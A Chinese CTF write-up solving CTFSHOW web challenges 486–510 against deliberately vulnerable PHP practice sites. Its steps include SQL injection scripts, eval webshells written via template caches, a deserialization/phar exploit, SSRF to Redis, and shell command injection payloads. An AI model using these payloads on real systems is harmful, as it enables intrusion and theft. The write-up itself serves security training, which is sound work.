【Web】CTFSHOW 中期测评刷题记录(1)

目录

web486

web487

web488

web489

web490

web491

web492

web493

web494

web495

web496

web497

web498

web499

web500

web501

web502

web503

web505

web506

web507

web508

web509

web510


web486

扫目录

初始界面尝试文件包含index.php,从报错知道其可以目录穿越读文件

login.php是在./templates下的,而./flag.php与./templates均为web目录

payload:

?action=../flag

右键查看源码拿到flag

web487

?action=../index

存在sql注入

没有waf,直接sqlmap跑出来

sqlmap -u "https://648b315b-136d-427f-b332-417f4865f221.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -T ctf -C ctf --dumps

web488

?action=../index

关注点在templateUtil的静态方法上,从index.php一开始include的文件入手

?action=../render/render_class
?action=../render/cache_class

整体利用链很清晰

templateUtil::render(action) -\> templateUtil::shade(templateContent,arg)-\> cache::create_cache(template,cache) -\> fileUtil::write('cache/'.md5(template).".php",$content)

注意到用./template/error.php中存在{{username}},可以用其cache来写马

重开个靶机再打入

index.php?action=check&username=<?php eval($_POST[1]);?>&password=12345

注意到{{username}}已经成功被替换为php代码

<?php

echo md5("error");

//cb5e100e5a9a3e7f6d1fd97512215282

再访问./cache/cb5e100e5a9a3e7f6d1fd97512215282.php

命令执行拿flag

web489

和上题一样,在render处打入模板覆盖,用cache写马,但这次只能利用index

配合变量覆盖,让if永真,并让username为一句话木马

/index.php?action=check&username=<?=eval($_POST[cmd]);?>&sql=select%201;

访问./cache/6a992d5529f459a44fee58c733255e86.php,命令执行拿flag

<?php

echo md5("index");

//6a992d5529f459a44fee58c733255e86

web490

还是模板注入./templates/index

/index.php?action=check&username=' union select '<?php eval($_POST[1]);?>' --+&password=1

直接去打会报语法错误

这时候重开下靶机再去读./templates/index.php,发现是给了提示的

我们模板注入的内容是被<?=?>所包裹,因此要改下payload

/index.php?action=check&username=0' union select "`cat /f*`"--+

再访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag

web491

这下不能打模板注入了,但可以时间盲注

import requests

string = "}qwertyuioplkjhgfdsazxcvbnm0123456789{-"
url = "http://bbfa1c77-aef0-4827-bd1f-6eafb26e85d0.challenge.ctf.show/index.php?action=check&username="
payload = ""
end = "&password=1"


def exp():
    ret = ""
    for x in range(1, 50):
        for y in string:
            payload = "' union select if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1) --+".format(x, y)
            try:
                req = requests.get(url + payload + end, timeout=2)
            except:
                ret += y
                print(ret)


if __name__ == '__main__':
    exp()

web492

关于select_one_array

  • 执行一个 SQL 查询。
  • 返回查询结果的第一条记录。
  • 将这条记录作为数组返回,其中每个数组元素代表一个数据库字段。

模板有一个自动参数绑定,传进去一个user,获取user[username]来替换

直接走变量覆盖,绕过查库过程

payload:

?action=check&username[]=1&password=1&user[username]=<?php eval($_POST[1]);?>

访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag

web493

可以在$_COOKIE处打反序列化

?action=../render/db_class

读到可以利用的恶意类

exp:

<?php
class dbLog{
    public $sql;
    public $content='<?php eval($_POST[1]);?>';
    public $log='yjh.php';
}
$a=new dbLog();
echo serialize($a);

在Cookie处打入user参数,成功反序列化

访问./yjh.php,命令执行拿flag

web494

不是很理解这段正则的意义何在(

和上题一样打

flag在数据库里,连蚁剑

拿到flag

web495

和上题一样

拿到flag

web496

过滤了or

用变形的万能密码登录

' || 1=1#

?action=../api/admin_edit

存在查库的操作就会存在布尔盲注的空间

import requests
import string
url="http://f7a0f625-bcc6-43e5-b84d-ea086553a12b.challenge.ctf.show"
s=string.ascii_lowercase+string.digits+",{-}"
sess=requests.session()
sess.post(url+"?action=check",data={"username":"'||1#","password":1})
flag=""
for i in range(9,70):
        print(i)
        for j in s:
            data={
            'nickname':str(i*2)+str(j), #不让nickname重复就行
            #'user[username]':"'||if(ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1},1,0)#".format(i,j)
            #'user[username]':"'||if(substr((select  group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(i,j)
            'user[username]':"'||if(substr((select  flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(i,j)

            }
            r=sess.post(url+"/api/admin_edit.php",data=data)
            if("u529f" in r.text):
                flag+=j
                print(flag)
                break

web497

和上题一样用万能密码登录

点击修改图像,尝试读靶机文件

base64解码得flag

web498

万能密码登录

修改头像不能直接读/flag

尝试用gopher探测内网组件,结果靶机直接崩了😡,换dict测出来6379

dict://127.0.0.1:6379

gopherus生成payload,打入

访问./shell.php,命令执行拿flag

web499

SSRF打不通了

与上一题相比多了一个系统配置的功能

?action=../api/admin_settings

读源码看到写文件操作

直接在提交页面写马

访问./config/settings.php,命令执行拿到flag

web500

新功能

?action=../api/admin_db_backup

shell_exec可以进行一个命令拼接,无回显RCE考虑写文件

;cat /f*>/var/www/html/flag.txt

web501

?action=../api/admin_db_backup

多了一段正则

  • '^zip' 表示匹配以 "zip" 开头的字符串。
  • 'tar' 在任何位置匹配 "tar"。
  • 'sql$' 表示匹配以 "sql" 结尾的字符串。

直接访问./api/admin_db_backup.php

payload:

db_format=;cat /f*>/var/www/html/tar.txt

访问./tar.txt拿到flag

web502

这段正则检查字符串 db_format 是否严格等于 "zip"、"tar" 或 "sql",db_format是没戏唱了

但可以用$pre来拼接

payload:

db_format=zip&pre=1.txt;cat /f*>/var/www/html/tar.txt;

访问./tar.txt拿到flag

web503

可以看到shell_exec因为md5的限制,所以不再能利用

多出了file_exists的利用点,可以用上面提到的恶意类打phar反序列化

此外多了一个上传logo的功能,稳了

生成恶意phar包,后缀改png,直接上传

<?php
class dbLog{
	public $sql;
	public $content="<?php eval(\$_POST[1]);?>";
	public $log="yjh.php";
}

$c=new dbLog();

$phar = new Phar("ctfshow.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($c); //将自定义meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();

?>

拿到文件上传路径

访问./api/admin_db_backup.php

payload:

pre=phar:///var/www/html/img/3318913d41c2966fc209201c9132b81b&db_format=.png

访问./yjh.php,命令执行拿flag

web505

多了一个文件查看功能

读api/admin_file_view.php的源码

直接data伪协议来包含

payload:

debug=1&f=data://text/plain,user<?php system('tac /f*');?>

web506

和上题一样

web507

一样

web508

把伪协议给waf掉了

找文件上传点写恶意文件

上传网站logo就可以

文件内容是user拼接命令执行

拿到文件上传路径

payload:

debug=1&f=/var/www/html/img/f418ad41b0e1cf4bbfcc47e67df49f94.png

web509

在logo上传处对文件内容有过滤

直接上最短一句话

user<?=`$_GET[1]`;

拿到文件上传路径

debug=1&f=/var/www/html/img/f418ad41b0e1cf4bbfcc47e67df49f94.png

web510

对上传文件内容更为严格,并且因为md5的原因,也不能走配置文件base64解密包含的奇技淫巧

于是走session文件包含,其开头还正好是user,完美利用

修改用户信息,写一句话

成功修改

最终payload:

debug=1&f=/tmp/sess_92ke6l244el6unol1mei073gj2
相关推荐
王ASC6 小时前
SpringMVC的URL组成,以及URI中对/斜杠的处理,解决IllegalStateException: Ambiguous mapping
java·mvc·springboot·web
非凡的世界2 天前
5个用于构建Web应用程序的Go Web框架
golang·go·框架·web
每天进步一大步2 天前
webSokect安卓和web适配的Bug 适用实时语音场景
android·前端·bug·web
吾即是光3 天前
[HNCTF 2022 Week1]你想学密码吗?
ctf
cheungxiongwei.com3 天前
使用 acme.sh 申请域名 SSL/TLS 证书完整指南
网络·nginx·https·ssl·web·acme
Anna_Tong3 天前
ASP.NET Core 与 Blazor:现代 Web 开发技术的全新视角
前端·后端·微软·asp.net·web·技术
吾即是光3 天前
[NSSCTF 2022 Spring Recruit]factor
ctf
吾即是光3 天前
[LitCTF 2023]easy_math (中级)
ctf
吾即是光4 天前
[HNCTF 2022 Week1]baby_rsa
ctf
Py办公羊大侠5 天前
【SH】在Ubuntu Server 24中基于Python Web应用的Flask Web开发(实现POST请求)学习笔记
后端·python·ubuntu·flask·web·post